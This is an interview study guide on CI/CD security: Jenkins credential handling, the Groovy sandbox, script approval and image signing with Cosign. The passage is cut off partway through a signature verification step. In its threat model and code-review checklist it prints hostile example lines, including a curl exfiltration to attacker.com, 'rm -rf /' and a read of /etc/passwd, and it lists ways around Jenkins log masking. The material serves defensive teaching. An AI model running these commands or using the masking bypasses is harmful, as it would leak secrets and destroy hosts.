🔒 Security in CI/CD: Complete Interview Mastery Guide

Category 7 | DevOps/SRE/Platform Engineer Interview Prep

> **How to use this guide:** Every topic: Simple Definition → Why it exists → Internals → Key concepts → Short interview answer → Deep dive → Real-world example → Interview Q&A → Gotchas → Connections.
>
> ⚠ = Frequently misunderstood or heavily tested.
>
> Category 7 is where the interview gets philosophical and architectural. Most DevOps engineers can configure a pipeline; few can articulate *why* a particular security design is correct, what it protects against, and what its failure modes are. This category reveals whether you think about CI/CD as a potential attack surface — not just a productivity tool. Security-conscious answers in interviews signal senior-level thinking. The highest-value topics: secrets management (7.1), pipeline sandbox (7.2), and supply chain security (7.3). These come up in every SRE/Platform/DevSecOps interview.

📑 TABLE OF CONTENTS

1. Topic 7.1 — Secrets Management ⚠
2. Topic 7.2 — Pipeline Security — Script Approval, Sandbox, Groovy Restrictions
3. Topic 7.3 — Supply Chain Security — SBOM, Image Signing, Cosign, Sigstore
4. Topic 7.4 — Least Privilege in Pipelines — Service Accounts, RBAC
5. Topic 7.5 — Dependency Scanning and SAST in Pipelines
6. Category 7 Summary & Self-Quiz

Topic 7.1 — Secrets Management ⚠

🟡 Intermediate | The #1 CI/CD Security Failure Mode

📌 What It Is — In Simple Terms

Secrets management in CI/CD is the discipline of ensuring that credentials, API keys, tokens, passwords, and certificates reach pipelines at runtime — without ever being stored in plaintext in source code, pipeline definitions, container images, or logs. Secrets in CI/CD are the single most common cause of security breaches in software organizations. Getting this wrong doesn't require a sophisticated attack: a developer `git log --all` on a compromised workstation, or a search on GitHub for leaked tokens, finds them immediately.

🔍 The Threat Model

```
CI/CD pipelines touch secrets from multiple directions:

Attack surfaces:
  Source code (Jenkinsfile, .env files, config files) → public GitHub =
exposed
  Container images (layer caching of secrets) → image in public registry =
exposed
  Build logs (secrets echoed in steps) → Jenkins console = exposed
  Environment variables in process listing → ps aux shows env of running
processes
  Artifact storage (secrets compiled into JAR/binary) → war file = exposed
  Agent workspace (files left after build) → shared agent = exposed
  Jenkins credentials.xml (encrypted but...) → JENKINS_HOME compromise =
exposed

Real-world breaches from CI/CD secret exposure:
  - Codecov breach (2021): attacker modified CI script to exfiltrate env
vars
  - Uber breach (2016): credentials in GitHub repo → S3 → 57M records
  - Mercedes-Benz breach (2023): GitHub token exposed → internal source
code access
  - Travis CI (2021): secrets accessible across repositories in CI
environment
```

⚙️ What NOT to Do — Anti-Patterns

```
// ❌ ANTI-PATTERN 1: Credentials hardcoded in Jenkinsfile
pipeline {
    environment {
        AWS_ACCESS_KEY = 'AKIAIOSFODNN7EXAMPLE'    // ← In Git history
forever
        DB_PASSWORD    = 'mySuperSecretPassword123' // ← Even after
deletion
        API_KEY        = 'sk-prod-xxxxxxxxxxxx'      // ← Searchable on
GitHub
    }
}

// ❌ ANTI-PATTERN 2: Credentials passed as shell command arguments
sh "curl -H 'Authorization: Bearer ${SECRET_TOKEN}'
https://api.example.com"
// ↑ The full command appears in:
//   - Jenkins build log (console output)
//   - Process list (ps aux) while running
//   - Shell history on the agent

// ❌ ANTI-PATTERN 3: Credentials echoed in logs
```

```
sh """
    echo "Using AWS key: $AWS_ACCESS_KEY_ID"    // ← In build log
    echo "Password: ${DB_PASSWORD}"              // ← In build log
    aws s3 cp file.txt s3://bucket/
"""

// ❌ ANTI-PATTERN 4: Credentials in Dockerfile ENV layer
// Dockerfile:
// ENV API_KEY=sk-prod-xxxxxxxxxxxx   ← Baked into image layer permanently
// RUN build-with-api-key             ← Even if you later unset it, it's
in the layer

// ❌ ANTI-PATTERN 5: Credentials in .env files committed to Git
// .env file:
// DB_PASSWORD=mySuperSecretPassword
// This is the #1 cause of credential leaks — developers commit .env to
Git

// ❌ ANTI-PATTERN 6: sh step that can be logged
sh "kubectl create secret generic myapp --from-
literal=password=${DB_PASSWORD}"
// The password appears in the build log as a literal string in the
kubectl command

// ❌ ANTI-PATTERN 7: Storing credentials in build artifacts
sh "echo ${API_KEY} > credentials.txt && tar czf app.tar.gz .
credentials.txt"
// Credentials are now in the archived artifact — accessible to anyone
with build access
```

⚙️ What TO Do — Best Practices

```
// ✅ PATTERN 1: Jenkins Credentials Store + withCredentials()
// Credentials stored encrypted in JENKINS_HOME/credentials.xml
// Injected as environment variables with automatic masking
pipeline {
    agent any
    stages {
        stage('Deploy') {
            steps {
                withCredentials([
                    usernamePassword(credentialsId: 'db-credentials',
                                     usernameVariable: 'DB_USER',
                                     passwordVariable: 'DB_PASS'),
                    string(credentialsId: 'api-token', variable:
'API_TOKEN'),
                    file(credentialsId:   'kubeconfig', variable:
'KUBECONFIG')
                ]) {
                    // DB_USER, DB_PASS, API_TOKEN are masked in logs
```

```
                    // If accidentally echoed: Jenkins shows ****
                    sh """
                        psql
"postgresql://\$DB_USER:\$DB_PASS@db.example.com/myapp" \
                            -c "SELECT 1"
                    """
                    // ✅ Use single quotes for shell or \$ to avoid
Groovy interpolation
                    // ❌ Don't: sh "psql ... ${DB_PASS}" — Groovy
resolves before masking
                }
                // DB_PASS unset after withCredentials block exits
            }
        }
    }
}

// ✅ PATTERN 2: environment{} with credentials() binding (Declarative)
pipeline {
    agent any
    environment {
        // credentials() returns a binding object
        // For username+password: creates DOCKER_CREDS_USR and
DOCKER_CREDS_PSW
        DOCKER_CREDS = credentials('docker-registry-credentials')
        // For string: creates SONAR_TOKEN directly
        SONAR_TOKEN  = credentials('sonarqube-token')
    }
    stages {
        stage('Push') {
            steps {
                sh 'echo $DOCKER_CREDS_PSW | docker login -u
$DOCKER_CREDS_USR --password-stdin'
            }
        }
    }
}

// ✅ PATTERN 3: Vault dynamic secrets (best for production)
stage('Deploy') {
    steps {
        withVault(
            configuration: [vaultUrl: 'https://vault.example.com',
                            vaultCredentialId: 'vault-approle'],
            vaultSecrets: [[
                path: 'aws/creds/deploy-role',
                secretValues: [
                    [envVar: 'AWS_ACCESS_KEY_ID',     vaultKey:
'access_key'],
                    [envVar: 'AWS_SECRET_ACCESS_KEY', vaultKey:
'secret_key']
                ]
            ]]
        ) {
```

```
            // AWS credentials valid for 1 hour — auto-revoked after block
            sh 'aws s3 sync ./dist s3://my-bucket/'
        }
    }
}

// ✅ PATTERN 4: Secret handling in Dockerfile — multi-stage with BuildKit
secrets
// NEVER bake secrets into image layers
// Use Docker BuildKit --secret mount (never appears in layers)
stage('Build Image') {
    steps {
        withCredentials([string(credentialsId: 'npm-token', variable:
'NPM_TOKEN')]) {
            sh """
                DOCKER_BUILDKIT=1 docker build \
                    --secret id=npm_token,env=NPM_TOKEN \
                    -t myapp:${env.BUILD_NUMBER} \
                    .
            """
        }
    }
}
// In Dockerfile:
// RUN --mount=type=secret,id=npm_token \
//     NPM_TOKEN=\$(cat /run/secrets/npm_token) \
//     npm install --//registry.npmjs.org/:_authToken=\$NPM_TOKEN
// ↑ Secret is available during the RUN step but NOT stored in the image
layer

// ✅ PATTERN 5: Kubernetes secrets for pod-based builds
// Mount K8s secret as file in the pod template
// pod YAML:
// volumes:
// - name: registry-creds
//   secret:
//     secretName: docker-registry-secret
// containers:
// - name: kaniko
//   volumeMounts:
//   - name: registry-creds
//     mountPath: /kaniko/.docker
//     readOnly: true
// No credentials in Jenkinsfile or pipeline steps at all
```

⚙️ Secret Scanning — Preventing Commits

```
# Pre-commit hooks: catch secrets before they reach the repo

# Tool: detect-secrets (Yelp)
```

```
pip install detect-secrets
detect-secrets scan > .secrets.baseline    # Create baseline
# .pre-commit-config.yaml:
# repos:
# - repo: https://github.com/Yelp/detect-secrets
#   rev: v1.4.0
#   hooks:
#   - id: detect-secrets
#     args: ['--baseline', '.secrets.baseline']

# Tool: gitleaks
# .gitleaks.toml: configures rules for your org's secret patterns
gitleaks detect --source . --verbose

# Tool: truffleHog: deep Git history scanning
trufflehog git file://. --since-commit HEAD~100 --only-verified

# In Jenkins pipeline: scan for secrets in the codebase
stage('Secret Scan') {
    steps {
        sh """
            docker run --rm \
                -v \$(pwd):/repo \
                zricethezav/gitleaks:latest detect \
                --source /repo \
                --exit-code 1 \
                --report-format json \
                --report-path /repo/gitleaks-report.json
        """
    }
    post {
        always {
            archiveArtifacts artifacts: 'gitleaks-report.json',
                             allowEmptyArchive: true
        }
    }
}
```

⚙️ Log Masking — How Jenkins Masks Credentials

```
Jenkins masking mechanism:
  withCredentials() registers each secret value with the build's log
masker
  The masker intercepts ALL console output for this build
  Any occurrence of the secret value string → replaced with ****

Bypass vectors (when masking fails):
  1. Groovy interpolation BEFORE shell execution:
     sh "echo ${DB_PASS}"
     ↑ Groovy resolves ${DB_PASS} to the actual value BEFORE passing to sh
```

```
      The sh command receives the literal password string
      Jenkins only masks the env var name, not the already-interpolated
string
      FIX: sh 'echo $DB_PASS' (single quotes = shell evaluates, not Groovy)

   2. Base64 encoding:
      sh "echo ${DB_PASS} | base64"
      The base64-encoded value is NOT masked (different string)
      FIX: Don't base64-encode secrets in logs

   3. Splitting across lines:
      env.PART1 = DB_PASS.substring(0, 5)
      env.PART2 = DB_PASS.substring(5)
      sh "echo ${PART1}${PART2}"
      Split substrings are not registered with the masker
      FIX: Don't split secrets; treat the whole value as atomic

   4. Writing to files:
      writeFile file: 'creds.txt', text: DB_PASS
      archiveArtifacts 'creds.txt'
      File contents are NOT masked in artifacts
      FIX: Never write secrets to files that get archived

   5. Exception messages:
      Groovy exceptions can include the value of variables in the message
      try { sh "..." } catch (Exception e) { echo e.message }
      If the exception message contains the secret, it appears in logs
```

⚙️ Credential Rotation Strategy

```
Rotation schedule (minimum):
  API tokens:          90 days
  Service account keys: 90 days
  Database passwords:   60 days
  SSH keys:             1 year
  TLS certificates:     1 year (auto-rotate with cert-manager)
  Dynamic secrets:      1 hour (Vault) — rotation is automatic

Jenkins credential rotation process:
  1. Create new credential in target system
  2. Create new Jenkins credential entry with new value (new ID: 'db-
password-v2')
  3. Update Jenkinsfiles to reference new credential ID
  4. Run builds to verify new credential works
  5. Delete old Jenkins credential entry
  6. Delete old credential in target system
  7. Verify old credential is revoked (confirm no active leases)

With Vault dynamic secrets:
  Rotation is automatic — no manual process
```

```
    Vault creates new credentials per request, revokes after TTL
    "Rotation" is just reducing the TTL to an acceptable window
```

🔑 Key Concepts

Concept	Meaning
Masking	Jenkins replaces registered secret values with `****` in console output
`withCredentials()`	Inject credentials as env vars, auto-masked, auto-unset after block
`credentials()`	Declarative binding in `environment {}` block — same protection
Dynamic secrets	Vault-generated credentials with TTL — never static, auto-revoked
BuildKit `--secret`	Docker build secret that exists only during RUN — never in image layer
Pre-commit hooks	Block commits containing secrets before they reach the repo
Groovy interpolation bypass	`"${SECRET}"` in sh string resolves before masking — use single quotes
Folder-scoped credentials	Credentials only accessible to jobs in a specific folder
Least-lifetime principle	Minimize how long a credential lives — prefer minutes over days

---

💬 Short Crisp Interview Answer

> *"Secrets management in CI/CD comes down to one rule: secrets must never exist in plaintext anywhere a human doesn't explicitly intend — not in Jenkinsfiles, not in container image layers, not in build logs, not in build artifacts. The correct approach: store secrets in Jenkins' credential store (for static secrets) or Vault (for dynamic secrets), inject them via `withCredentials()` which provides automatic log masking and automatic unsetting after the block exits. The most critical gotcha: Groovy string interpolation. `sh \"psql ... ${DB_PASS}\"` resolves the password before passing to shell — Jenkins masks the environment variable name but not the already-interpolated literal. Always use single quotes `sh 'psql ... $DB_PASS'` or escaped dollar `\$DB_PASS` to let the shell resolve the variable. For Dockerfile builds, use BuildKit's `--secret` flag — the secret is available during the RUN step but never stored in any image layer. Prevention: install `gitleaks` or `detect-secrets` as a pre-commit hook to catch credentials before they reach the repository."*

⚠ Tricky Edge Cases & Gotchas

- ⚠ **`echo` is the enemy.** Any `echo $SECRET`, `print(secret)`, or exception message containing a secret value bypasses masking or encodes it differently. Train your team: never echo secrets, even for debugging. Use `echo "Secret is: ${SECRET.length()} chars"` if you must verify a value exists.
- **Jenkins masking only applies to exact string matches.** If your DB password is `P@ssw0rd!` and a log line shows `P@ssw0rd!` after a failed connection, it's masked. But `P@ssw0rd` (partial) is not

masked. Likewise, if the secret contains special regex characters, the masker may have issues matching it.

- **Credentials in the environment of all descendant processes.** `withCredentials()` sets environment variables. Every `sh` step inside it — and all child processes spawned by those commands — inherit those env vars. Be careful about running untrusted scripts or tools that might read and exfiltrate the environment.
- **JENKINS_HOME/credentials.xml is AES-256 encrypted — but the key is on disk.** The credentials are encrypted with a master key stored in `JENKINS_HOME/secrets/master.key`. If an attacker gets read access to JENKINS_HOME, they can decrypt all credentials. Restrict JENKINS_HOME filesystem permissions strictly: readable only by the Jenkins process user.

Topic 7.2 — Pipeline Security: Script Approval, Sandbox, Groovy Restrictions

🔴 Advanced | Protecting the Controller from Malicious Pipeline Code

📌 What It Is — In Simple Terms

Jenkins Pipelines (Declarative and Scripted) are Groovy programs that run on the Jenkins Controller JVM (The pipeline itself is executed by the Jenkins Controller JVM. This means all Groovy code, conditionals, loops, variable handling, etc., is evaluated by the controller. Controller sends steps that need to execute on an agent (like sh, bat, docker, checkout, etc.) to the agent.). A Groovy script with unrestricted access can read any file the Jenkins process can read, make network calls, access environment variables of all running processes, modify Jenkins configuration, and execute arbitrary shell commands. The **Groovy Sandbox** and **Script Approval** system are the security mechanisms that restrict what pipeline code can do on the Controller.

🔍 The Threat Model

```
Why this matters:
  Jenkins Controller runs as a service with broad filesystem access
  Pipelines run Groovy code in the Controller's JVM
  Without restrictions, ANY pipeline author can:

  def f = new File('/etc/passwd')
  println f.text                                    // Read any file

  'curl attacker.com/exfiltrate -d "$SECRET"'.execute()  // Network
exfiltration

  Jenkins.instance.setSecurityRealm(...)             // Change auth
settings
  Jenkins.instance.pluginManager.installPlugin(...)  // Install backdoor
plugin
```

```
  java.lang.Runtime.exec(['rm', '-rf', '/'])         // Destroy host
filesystem

  Attack scenario:
    Developer submits a malicious Shared Library or Jenkinsfile
    Pipeline Groovy code runs in the Controller JVM
    Reads JENKINS_HOME/credentials.xml → all org secrets exfiltrated
```

⚙️ The Groovy Sandbox — How It Works

```
Two execution modes for Pipeline Groovy:

Mode 1: SANDBOX (Default for Pipelines)
  ────────────────────────────────────────────────────────────────────
  Groovy code → CPS Transform → Sandbox Interceptor

  The Sandbox Interceptor intercepts EVERY method call, property access,
  and constructor invocation in the Groovy code.

  For each call, it checks against the "approved signatures" list:
    - Is this method/class on the approved whitelist?
    - YES → allow execution
    - NO  → throw RejectedAccessException (build fails with "script not
permitted")

  Examples blocked by default sandbox:
    new File(path)                          → blocked (file system access)
    System.exit(0)                          → blocked (JVM control)
    Thread.start { }                        → blocked (thread creation)
    Jenkins.instance.setSecurityRealm(...) → blocked (Jenkins API access)
    "cmd".execute()                         → blocked (Runtime.exec)

  Examples allowed by default sandbox:
    echo "hello"                            → allowed (pipeline step)
    def x = [1, 2, 3]                       → allowed (Groovy data
structures)
    x.collect { it * 2 }                    → allowed (Groovy collection
operations)
    new Date()                              → allowed (java.util.Date)
    sh "mvn clean package"                  → allowed (pipeline step, not
Runtime.exec)

Mode 2: NOT SANDBOXED (Script Approval required)
  ────────────────────────────────────────────────────────────────────
  Groovy code runs without sandbox restrictions
  Requires explicit admin approval via "Script Approval" UI
  Used for: Shared Library vars/ scripts, Job DSL seed scripts
  Risk: any script approved once runs with FULL JVM access
```

⚙️ Script Approval — The Admin Review Process

```
When sandbox rejects a method call:
  1. Build fails: "Scripts not permitted to use method ..."
  2. Jenkins records the rejected signature in a "pending approvals" list
  3. Admin: Manage Jenkins → Script Approval
  4. Admin reviews the signature and approves or denies
  5. Approved signatures added to the global whitelist

Signature format:
  method java.lang.String trim
  staticMethod java.lang.Math abs int
  new java.io.File java.lang.String         ← Admin should NEVER approve
this
  staticMethod jenkins.model.Jenkins getInstance  ← Gives full Jenkins API
access
```

```
// Common sandbox rejections and their solutions:

// ── REJECTION: JsonSlurper (non-serializable) ──────────────────────
// Error: "Scripts not permitted to use new groovy.json.JsonSlurper"
// WRONG:
def data = new groovy.json.JsonSlurper().parseText(jsonStr)  // Fails in
sandbox

// CORRECT Option 1: readJSON step (Pipeline Utility Steps plugin)
def data = readJSON text: jsonStr

// CORRECT Option 2: @NonCPS annotation (method runs outside CPS/sandbox
tracking)
@NonCPS
def parseJson(String text) {
    return new groovy.json.JsonSlurper().parseText(text)
}

// ── REJECTION: File operations ─────────────────────────────────────
// Error: "Scripts not permitted to use new java.io.File"
// WRONG:
def content = new File('/path/to/file').text

// CORRECT: Use pipeline steps
def content = readFile '/path/to/file'  // readFile step — works in
sandbox

// ── REJECTION: String.execute() for shell ──────────────────────────
// Error: "Scripts not permitted to use method java.lang.String execute"
// WRONG:
def output = "git rev-parse HEAD".execute().text
```

```
// CORRECT: Use sh step with returnStdout
def output = sh(script: 'git rev-parse HEAD', returnStdout: true).trim()

// ── REJECTION: Jenkins.instance access ──────────────────────────
// Error: "Scripts not permitted to use staticMethod jenkins.model.Jenkins
getInstance"
// WRONG (in pipeline script):
Jenkins.instance.setNumExecutors(5)  // Should NOT be in a pipeline anyway

// CORRECT: Use Jenkins API from a Shared Library with proper @NonCPS and
Script Approval
// OR: Use JCasC for system configuration — never from pipelines
```

⚙️ Shared Library Security — The Trust Boundary

```
Shared Libraries have a different trust model than inline pipelines:

Globally configured libraries:
  Manage Jenkins → Configure System → Global Pipeline Libraries
  These libraries can be marked "Load implicitly" or explicit @Library
usage

  Trust levels:
    @Trusted: Library code runs WITHOUT sandbox (full JVM access)
              For: organization's own internal libraries, highly
controlled
              Risk: ANY developer who can push to the library repo can run
arbitrary code

    @Untrusted: Library code runs WITH sandbox restrictions
                For: external/community libraries, less trusted sources

Implication for security:
  If your Shared Library repo is "Trusted" and ANY developer can push to
it:
    Developer pushes: vars/evil.groovy that reads
JENKINS_HOME/credentials.xml
    Any pipeline that calls evil() or uses implicit library loading
    → credentials exfiltrated

  Mitigation:
    ✅ Restrict Shared Library repo: only infra team can merge to main
    ✅ Require code review on Shared Library changes
    ✅ Pin @Library('mylib@v1.2.0') to a specific tag — not @main
    ✅ Use branch protection: no direct pushes to main
    ✅ Separate repos: trusted internal library vs community plugins
```

⚙️ In-Process Script Approval — Risks

```
Each admin-approved signature permanently expands what ALL pipelines can
do.

Dangerous signatures that Jenkins admins sometimes approve under pressure:
  new java.io.File java.lang.String
    → ANY pipeline can read/write any file the Jenkins process can access

  staticMethod jenkins.model.Jenkins getInstance
    → ANY pipeline can modify Jenkins configuration

  method jenkins.model.Jenkins pluginManager
    → ANY pipeline can install plugins

  groovy.lang.GroovyShell evaluate java.lang.String
    → ANY pipeline can eval arbitrary Groovy strings, bypassing all
sandbox checks

  java.lang.Runtime exec [Ljava.lang.String;
    → ANY pipeline can execute arbitrary system commands

Principle: When a developer reports a sandbox rejection,
  the correct question is NOT "how do I approve this?"
  The correct question is "how do I solve the problem WITHOUT leaving the
sandbox?"

  If the answer genuinely requires sandbox escape:
    Move the code to a Shared Library with proper review process
    Have the infra team approve the specific functionality
    Never add broad dangerous signatures to the approval list
```

⚙️ Practical Security Checklist for Pipeline Code Review

```
// What to check when reviewing pipeline PRs:

// ❌ RED FLAGS — reject immediately:
"curl attacker.com".execute()           // Runtime.exec equivalent
new File('/etc/').list()                // File system enumeration
Jenkins.instance.doUnlockFile(...)     // Jenkins internals
System.getenv().each { k,v -> ... }    // Reading all env vars (may
contain others' secrets)
new groovy.lang.GroovyShell().evaluate(userInput) // Arbitrary code eval
Runtime.getRuntime().exec(...)         // Shell escape
Thread.start { }                       // Background thread — uncontrolled
execution

// ⚠ YELLOW FLAGS — review carefully:
readFile('/etc/hosts')                  // Is this necessary? What's the
threat model?
sh "eval \${USER_INPUT}"               // Shell injection risk if
```

```
USER_INPUT is tainted
sh "kubectl exec ... -- ${userCommand}" // Shell injection via kubectl

// ✅ ACCEPTABLE PATTERNS:
sh 'mvn clean package'                  // Static shell command
def version = readFile('VERSION').trim() // Reading own repo files
withCredentials([...]) { }             // Credential injection (correct
pattern)
```

🔑 Key Concepts

Concept	Meaning
Groovy Sandbox	Default execution mode — intercepts all method calls against approved whitelist
Script Approval	Admin UI to review and approve/deny sandbox-rejected method signatures
Trusted Library	Shared Library running without sandbox (full JVM access) — control carefully
Untrusted Library	Shared Library running within sandbox — for community/external code
`RejectedAccessException`	Build failure when sandbox blocks a method call
`@NonCPS`	Method runs outside CPS tracking — used to call non-serializable Java classes
CPS Transform	Bytecode transformation making pipeline code resumable — also enables sandbox
Approved signatures	List of method/constructor/field signatures allowed to run in sandboxed code
`Jenkins.instance`	Dangerous global — approving access to this gives full Jenkins control
Shell injection	`sh "cmd ${userInput}"` where userInput contains shell metacharacters

---

💬 Short Crisp Interview Answer

> *"Jenkins Pipeline Groovy code runs in the Controller's JVM — without restrictions, any pipeline could read the credentials store, change security settings, or exfiltrate secrets. The Groovy Sandbox intercepts every method call and checks it against an approved whitelist. Most pipeline code works within the sandbox: `sh`, `echo`, `withCredentials`, Groovy collections. What gets blocked: `new File()`, `String.execute()`, `Jenkins.instance`, `Runtime.exec()`. When the sandbox rejects a call, a Jenkins admin reviews it in Script Approval. The key security discipline: never approve dangerous signatures like `new java.io.File` or `Jenkins.instance` under pressure — find a sandbox-safe alternative instead. For Shared Libraries, trust level is critical: a 'trusted' library runs without sandbox, so only controlled code should reach main branch. If a developer can push to the*

> *trusted library repo, they can run arbitrary code on the Controller. Always pin library versions to tags (`@Library('mylib@v2.0.0')`), restrict merge access, and require code review."*

⚠ Tricky Edge Cases & Gotchas

- ⚠ **`@NonCPS` is NOT a security sandbox bypass.** `@NonCPS` tells the CPS engine to run this method outside CPS tracking (for non-serializable types like Matcher). It does NOT bypass the Groovy Sandbox. Sandbox restrictions still apply inside `@NonCPS` methods. However: if a script requires sandbox approval for a method, using `@NonCPS` may help because the CPS interceptor doesn't track it — the call may not trigger the sandbox check. This is implementation-dependent and shouldn't be relied on.
- **Sandboxed code can still do harm via pipeline steps.** The sandbox prevents direct Java/Groovy API abuse, but `sh "rm -rf /"` is still allowed because `sh` is a pipeline step on the whitelist. The sandbox protects the Controller JVM — it doesn't restrict what commands run on agents.
- **Script Approval is global.** Once a signature is approved, it's approved for ALL pipelines on that Jenkins instance. There's no per-job or per-team approval granularity. If you approve `new java.io.File` for one "trusted" pipeline's legitimate use, all other pipelines can also use it.
- **Shared Library with `@Library` and trailing `_`.** The `_` after `@Library('mylib@v2.0.0') _` is not a typo — it imports the library without a specific class reference (imports all `vars/` scripts). Without the `_`, you'd need `import mylib.SomeClass`. This is a common source of confusion in interview discussions.

Topic 7.3 — Supply Chain Security: SBOM, Image Signing, Cosign, Sigstore

🔴 Advanced | Trusting What You Deploy

📌 What It Is — In Simple Terms

Software Supply Chain Security is the practice of verifying that the software artifacts you build, distribute, and deploy are:

1. Built from the exact source code you intended (no tampering)
2. Contain known, tracked dependencies (no surprise transitive vulnerabilities)
3. Produced by your authorized CI pipeline (not by a compromised developer's laptop or a malicious build server)

The term "supply chain" comes from manufacturing: just as a physical supply chain can be compromised by a tampered component, a software supply chain can be compromised at the source code, build, or distribution stage.

🔍 The SolarWinds Lesson — Why This Matters

```
SolarWinds attack (2020) — the canonical supply chain attack:
  1. Attackers compromised SolarWinds' build environment
  2. Malicious code injected into the build AFTER source code checkout
  3. The malicious code was compiled into the legitimate SolarWinds
product
  4. Signed with SolarWinds' legitimate code signing certificate
  5. Distributed to 18,000 customers as a "legitimate" software update
  6. 9 US federal agencies and 100+ major companies breached

  The code was legitimate. The binary was not.
  No source code review would have found it — it was injected at build
time.

Jenkins supply chain risks:
  - Build agent compromised → malicious code injected after checkout
  - Shared Library poisoned → malicious steps added to all pipelines
  - Base image tampered → all containers start with malicious software
  - Dependency confusion → typosquatted package downloaded instead of
intended one
  - Build cache poisoned → cached layers contain attacker-controlled code
```

⚙️ SBOM — Software Bill of Materials

```
An SBOM is a formal, machine-readable inventory of:
  - Every software component in an artifact
  - The version of each component
  - The license of each component
  - The source (repository URL, hash) of each component
  - The relationships between components (A depends on B version 2.3)

Why SBOMs matter:
  Log4Shell (2021): a vulnerability in Log4j 2.x
  Without SBOM: "Do we use Log4j? In which services? Which version?"
    → Days of manual grep through repositories and package files
  With SBOM: query the SBOM database → instant answer
    → "17 services use Log4j 2.x, 12 of those are vulnerable versions"
    → Priority list generated in minutes

SBOM formats:
  SPDX (Software Package Data Exchange) — NTIA recommended, Linux
Foundation
  CycloneDX — OWASP project, strong tooling ecosystem, better for
containers
  SWID (Software Identification Tags) — enterprise/government focus

  Recommendation: CycloneDX for container/cloud-native, SPDX for
compliance
```

```
// ── GENERATING SBOM IN JENKINS PIPELINE ──────────────────────────

// Method 1: Syft — generates SBOM from containers, filesystems, archives
stage('Generate SBOM') {
    steps {
        sh """
            # Install Syft (or use container: anchore/syft)
            # Generate SBOM from the built Docker image
            syft ${IMAGE_NAME}:${env.IMAGE_TAG} \
                -o spdx-json=sbom-spdx.json \
                -o cyclonedx-json=sbom-cyclonedx.json \
                -o table  # Human-readable output to console

            # Generate from filesystem (for Maven/npm projects before
Docker build)
            syft dir:. \
                -o cyclonedx-json=sbom-deps.json \
                --exclude './target' \
                --exclude './node_modules/.cache'
        """
        archiveArtifacts artifacts: 'sbom-*.json', allowEmptyArchive:
false
        // Store SBOM alongside the artifact in Nexus/Artifactory
    }
}

// Method 2: CycloneDX Maven plugin (Java projects)
stage('Generate Java SBOM') {
    steps {
        sh """
            mvn org.cyclonedx:cyclonedx-maven-plugin:makeAggregateBom \
                -DoutputFormat=json \
                -DoutputName=bom
            # Output: target/bom.json
        """
        archiveArtifacts artifacts: 'target/bom.json'
    }
}

// Method 3: npm (Node.js projects)
stage('Generate Node SBOM') {
    steps {
        sh """
            npm install --package-lock-only
            npx @cyclonedx/cyclonedx-npm \
                --output-format JSON \
                --output-file sbom-node.json
        """
    }
}

// Kubernetes pod with Syft:
// containers:
```

```
// - name: syft
//   image: anchore/syft:v0.100.0
//   command: ["cat"]
//   tty: true
```

⚙️ Image Signing with Cosign (Sigstore)

```
Cosign (part of the Sigstore project) provides:
  - Cryptographic signatures for container images
  - Keyless signing via OIDC (no long-lived signing keys!)
  - Verification at deploy time
  - Attestation: associate signed metadata (SBOM, test results) with an
image

The Sigstore keyless signing flow (production recommended):
  1. Jenkins pipeline reaches the signing step
  2. Cosign requests a short-lived OIDC token from the CI identity
provider
     (GitHub Actions OIDC, Jenkins OIDC, Google OIDC)
  3. Cosign presents the OIDC token to Sigstore's Fulcio CA
  4. Fulcio issues a short-lived X.509 certificate binding:
       "This specific image digest was built by Jenkins pipeline
        at 2024-01-15T14:30:00Z running job 'myapp' build #42"
  5. Cosign signs the image with the ephemeral key from the certificate
  6. The signature (with certificate) stored in Rekor (public transparency
log)
  7. Certificate expires — but the Rekor entry is immutable proof it was
signed

Why keyless is better than key-based:
  Key-based: you must protect a long-lived signing key — becomes high-
value target
  Keyless:   the "key" is the CI pipeline's identity — no key to steal
```

```
// ── IMAGE SIGNING WITH COSIGN IN JENKINS ──────────────────────────
pipeline {
    agent {
        kubernetes {
            yaml '''
spec:
  serviceAccountName: jenkins-build-sa
  containers:
  - name: jnlp
    image: jenkins/inbound-agent:3206.vb_15dcf73f6b_9-1-jdk17
  - name: cosign
    image: gcr.io/projectsigstore/cosign:v2.2.3
    command: ["cat"]
    tty: true
```

```
    env:
    - name: COSIGN_EXPERIMENTAL
      value: "1"    # Enable keyless (OIDC-based) signing
  - name: kaniko
    image: gcr.io/kaniko-project/executor:v1.21.0-debug
    command: ["sleep"]
    args: ["infinity"]
'''
        }
    }

    environment {
        REGISTRY   = 'registry.example.com'
        IMAGE_NAME = "${REGISTRY}/myapp"
        IMAGE_TAG  = "${env.BUILD_NUMBER}-${env.GIT_COMMIT.take(7)}"
    }

    stages {
        stage('Build Image') {
            steps {
                container('kaniko') {
                    sh """
                        /kaniko/executor \
                            --context=dir:///workspace \
                            --dockerfile=/workspace/Dockerfile \
                            --destination=${IMAGE_NAME}:${IMAGE_TAG} \
                            --digest-file=/workspace/image-digest.txt
                        # image-digest.txt contains: sha256:abc123...
                    """
                }
                script {
                    env.IMAGE_DIGEST = readFile('/workspace/image-
digest.txt').trim()
                    echo "Image digest: ${env.IMAGE_DIGEST}"
                    // Use digest for signing (not tag — tags are mutable,
digests are not)
                }
            }
        }

        stage('Sign Image') {
            steps {
                container('cosign') {
                    withCredentials([file(credentialsId: 'cosign-key',
                                          variable: 'COSIGN_KEY')]) {
                        // Method 1: Key-based signing (simpler, requires
key management)
                        sh """
                            cosign sign \
                                --key \$COSIGN_KEY \
                                --annotations
"jenkins.build.number=${env.BUILD_NUMBER}" \
                                --annotations
"git.commit=${env.GIT_COMMIT}" \
```

```
                                --annotations "git.repo=${env.GIT_URL}" \
                                --annotations "build.url=${env.BUILD_URL}"
\
                                ${IMAGE_NAME}@${env.IMAGE_DIGEST}
                        """
                    }

                    // Method 2: Keyless signing (recommended — no key to
manage)
                    // Requires: Jenkins OIDC provider configured
                    // sh """
                    //     COSIGN_EXPERIMENTAL=1 cosign sign \
                    //         --oidc-
issuer=https://jenkins.example.com/oidc \
                    //         ${IMAGE_NAME}@${env.IMAGE_DIGEST}
                    // """
                }
            }
        }

        stage('Attach SBOM as Attestation') {
            steps {
                container('cosign') {
                    withCredentials([file(credentialsId: 'cosign-key',
variable: 'COSIGN_KEY')]) {
                        sh """
                            # Generate SBOM first (from earlier stage)
                            # Attach SBOM as a CycloneDX attestation
                            cosign attest \
                                --key \$COSIGN_KEY \
                                --type cyclonedx \
                                --predicate sbom-cyclonedx.json \
                                ${IMAGE_NAME}@${env.IMAGE_DIGEST}
                        """
                    }
                }
            }
        }

        stage('Verify Signature (Example)') {
            steps {
                container('cosign') {
                    withCredentials([file(credentialsId: 'cosign-pub-key',
                                          variable: 'COSIGN_PUB_KEY')]) {
                        sh """
                            cosign verify \
